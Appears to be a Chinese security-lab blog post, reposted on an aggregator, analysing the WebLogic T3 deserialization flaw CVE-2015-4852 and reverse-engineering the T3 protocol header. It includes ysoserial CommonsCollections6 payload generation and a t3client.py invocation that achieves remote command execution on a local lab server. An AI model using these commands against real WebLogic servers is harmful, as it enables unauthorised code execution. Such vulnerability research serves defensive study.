服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

Weblogic安全漫谈(一)

日期: 来源:默安逐日实验室收集编辑:Zhuri

前言

@frohoff在2015年初发现commons-collections的反序列化利用链并发布了ysoserial工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变得广为人知,Weblogic中首当其冲的就是大家多少都有点耳熟的T3协议反序列化。本篇从CVE-2015-4852入手了解T3协议的构造,作为后续T3反序列化漏洞学习和利用的基础。

环境搭建与补丁定位

Weblogic官网提供无补丁的初始版本下载[3],为了方便后续调试分析可以先把几个大版本的安装包(Generic)、以及某些有较大安全特性变化的JDK准备好。
官方只为付费帐户提供安全补丁的下载权限,但普通账户在高级搜索页面[4]列出对应版本的补丁号与发布时间,结合官方安全公告页的CVE发布时间[5],基本可以让CVE对应上Patch。

有了Patch号可以通过CSDN+某宝积分或者某鱼卖家等等方式下到补丁,Patch详情页里可以看到哈希,有官方原版zip洁癖的同学也可以对一下。
环境搭建时,用WeblogicEnvironment[6]构建不同JDK与Weblogic版本的docker镜像会比较方便,后续也能用容器区分不同的补丁版本。运行前需要参考issues/8改一下Dockerfile,另外就是根据个人需要做适当调整了,比如Weblogic开启的远程调试端口默认为8453(对应IDEA默认的5005)、调整JDK版本等等。

CVE-2015-4852

《攻击JavaRMI概述》[7]中说过JavaRMI机制基于JRMP协议通信,Weblogic有一个与JRMP同类的应用层协议就是T3。T3协议用在Weblogic的这类商用产品当中,协议实现并不开源且没有文档,小编主要靠连蒙带猜和逆向去管中窥豹。
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh用到了T3协议去停掉Weblogic,在执行前挂上tcpdump -i any -w t3-stop.pcap抓一下数据包。

Java原生序列化流通过十六进制为ac ed 00 05的字节作为开头的标识(黑话管它叫做魔术字节),ysoserial也正是通过原生序列化生成的payload,自然能简单粗暴地想到是不是直接替换就行了,那么要替换掉哪些部分呢?能看出先进行了第一次通信,请求和响应都是可读的ASCII字符,后续的的请求中似乎也没有用到响应的内容。

把第二次请求字节流扒下来反序列化并处理异常后可以发现存在五个Object,因为WebServer每个请求通常会起一个新的线程来处理,不用担心像内核Pwn一样没处理好异常整个系统蹦掉,那么本着节能减排的原则从第一处魔术字节开始替换为payload,后续部分抛掉不管必然会报错,但问题不大,将原本第二次请求的A + Serial + B + Serial + ...改成A + Payload
构造如下脚本用作发送payload的客户端,它好比航天发射场组装火箭后打出去,payload就是火箭里用于开展科学实验的载荷。

那么问题来了,首先是为什么要先经过第一次通信交互(t3Bootstrap)。我们大家都知道在黑盒打不通的时候通常都是打不通的,对此小编也感到很惊讶,将payload硬莽过去只会得不到响应。这就如同需要用火箭将实验载荷送到预定轨道一样。
第二个问题是payload前加上的那些字节数据是干嘛的,即火箭为什么要设计构建成这样?自然是为了让载荷顺利进入预定轨道。相信有的同学想喷我了,这里看似相互解释了实则什么都没解释,如果前面还能从没响应的现象下手企图蒙混过关,但这里不啃代码是圆不过去了。
我知道你很急,但你先别急。我们先来看看稍微简单一点的第三个问题,即payload用什么?要使用ysoserial生成的CC链就需要看目标环境有没有相应依赖,快速但不准确的方法是直接找有没有Jar包。
# find /u01/ -name "*commons*collections*.jar"
/u01/app/oracle/middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
  • • 为了更精确定位则可以采用META-INF等信息判断版本、运行时相应上下文能否调到关键类等等方法。

如此我们便能利用这个祖师爷漏洞,对着周朝出土的Weblogic一顿RCE了:
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > /tmp/poc.ser

python3 t3client.py 127.0.0.1 7001 /tmp/poc.ser

# ls -al /tmp/ | grep 'pwned'
-rw-r----- 1 root root    0 Feb 17 17:18 pwned

逆向T3协议头

猜测关键词暴力搜索后,找到第一次交互时响应数据的来源。下断点得到调用栈:
connectReplyOK:160, Login (weblogic.socket)
readBootstrapMessage:189, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:323, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
dispatch:185, MuxableSocketDiscriminator (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

MuxableSocketT3#dispatch方法根据bootstrapped来判断连接是否经readBootstrapMessage方法初始化过,解析提取的就是上文首次通信时发给服务端的数据。(这是10.3.6.0的位置,12.2.1.3在com.oracle.weblogic.rjvm.jarweblogic/rjvm/t3/MuxableSocketT3#readIncomingConnectionBootstrapMessage)。

MuxableSocketDiscriminator#dispatch方法根据协议名将请求分配给HTTP、T3等不同处理类,以此实现端口复用。

再将断点下在ObjectInputStream#readObject并得到第二次请求时的调用栈:
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

数据由MsgAbbrevInputStream#init调用各个方法解析。先看super.init(chunk, 4),最终前4字节被skip掉:

这4个字节其实就是EXP中的chunkLength,表示包括自己在内的这段Header的字节长度,可以偷懒直接赋0。
继续看到readHeader方法中存在大量标识数据:

cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出:
    static final byte CMD_UNDEFINED = 0;
    static final byte CMD_IDENTIFY_REQUEST = 1;
    static final byte CMD_IDENTIFY_RESPONSE = 2;
    static final byte CMD_REQUEST_CLOSE = 11;
    static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
    static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
    static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
    static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
    static final byte CMD_PEER_GONE = 3;
    static final byte CMD_ONE_WAY = 4;
    static final byte CMD_REQUEST = 5;
    static final byte CMD_RESPONSE = 6;
    static final byte CMD_ERROR_RESPONSE = 7;
    static final byte CMD_INTERNAL = 8;
没猜到QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。
flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDshasTXhasTrace(类比Linux的rwx权限与777)。
responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。
abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。
读完Header部分继续进入到readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法:

length就是EXP中的countLength,可以看到这个值对应for循环的次数。
length2就是EXP中的capacityLengthbubblingAbbrever.getCapacity()拿到的就是第一次请求中的AS,要设置得比它大才会进入readObeject分支。
最后进入重写的有参readObject中,msgAbbrevInputStream.read()读到的字节是十进制0时进入无参readObject。但ServerChannelInputStream没有重写无参readObject,所以最终进到父类ObjectInputStreamreadObject衔接上CC链。

参考链接

  1. [1] http://frohoff.github.io/appseccali-marshalling-pickles/

  2. [2] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic

  3. [3] https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

  4. [4] https://updates.oracle.com/Orion/AdvancedSearch/process_form

  5. [5] https://www.oracle.com/security-alerts/public-vuln-to-advisory-mapping.html

  6. [6] https://github.com/QAX-A-Team/WeblogicEnvironment

  7. [7] https://hosch3n.github.io/2022/02/15/%E6%94%BB%E5%87%BBJavaRMI%E6%A6%82%E8%BF%B0/#%E6%94%BB%E5%87%BBJRMP%E5%AE%A2%E6%88%B7%E7%AB%AF



相关阅读

  • 谷歌开源、高性能RPC框架:gRPC 使用体验

  • 作者:datumhu,腾讯 IEG 后开开发工程师在广告系统实践中,精排服务基于 gRPC 协议调用 TF-Serving 在线推理服务。相信很多业务已经使用过 gRPC 相关语言的框架进行服务调用,尤其
  • 再谈TOPSIS方法和空间DID的Stata代码

  • 凡是搞计量经济的,都关注这个号了稿件:econometrics666@126.com所有计量经济圈方法论丛的code程序, 宏微观数据库和各种软件都放在社群里.欢迎到计量经济圈社群交流访问.群友
  • 惠普打印机固件提取技术

  • 更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)一、前 言惠普作为打印机品牌当中的中坚力量,对其固件安全也是相当注重。关于惠普固
  • Atlassian JIRA Velocity模板注入漏洞分析

  • 更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)近两年Atlassian
    JIRA爆出几个SSTI(服务器端模板注入)漏洞,漏洞编号分别为CVE-2019-11
  • ThinkPHP多语言文件包含漏洞分析

  • 更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)一、漏洞概述 ThinkPHP是一个开源轻量级PHP框架,其6.0.13及以前版本存在一个文件包
  • 炸裂!微信终于可以实现公众号分组了!

  • 阿虚同学读完需要5分钟速读仅需 3 分钟从2012年8月23日微信公众号正式上线到现在,已经过去10年有余。如今有成千上万个公众号了,但微信却迟迟不提供一个公众号分组功能▲微信
  • 一张数据分析全知识地图,推荐收藏!

  • 在数据分析领域深耕5年,我们整理了热门话题及文章,撰写了包含14章,共计800页的原创《数据分析必知必会》手册。这是一张全面的数据分析全知识地图,包括数据赋能、数据指标、用户
  • chatGPT写SEO文章SOP全流程

  • ‍‍‍最牛逼的打法,阳谋,我在这行,所以执行动作,都是公开的,之前我自己拆自己,怎么做PPT,怎么布局,包括后端怎么变现,都一五一十交代过,当然,可能有的人不信,那无所谓。我在SEO这块的布

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • Weblogic安全漫谈(一)

  • 前言@frohoff在2015年初发现commons-collections的反序列化利用链并发布了ysoserial工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变
  • 从肺癌、肾衰竭到特约作者:80后宝妈“向死而生”

  • 点击名片,关注我们支持童行,请:进入公众号主页-右上角点击“...”-星标我们,从此不失联!写在前面:大家好,我是80后宝妈曜晗。尽管前半生历尽坎坷,但我依然认为,此生最好的年华,是现在
  • 我让孩子去看动画片,孩子却去写作业

  • 支持童行,请:进入公众号主页-右上角点击“...”-星标我们,从此不失联!Hello~「不焦虑来电」专栏来啦~每周我们都会和大家不定期见面。本周的分享,来自不焦虑父母俱乐部的小队长。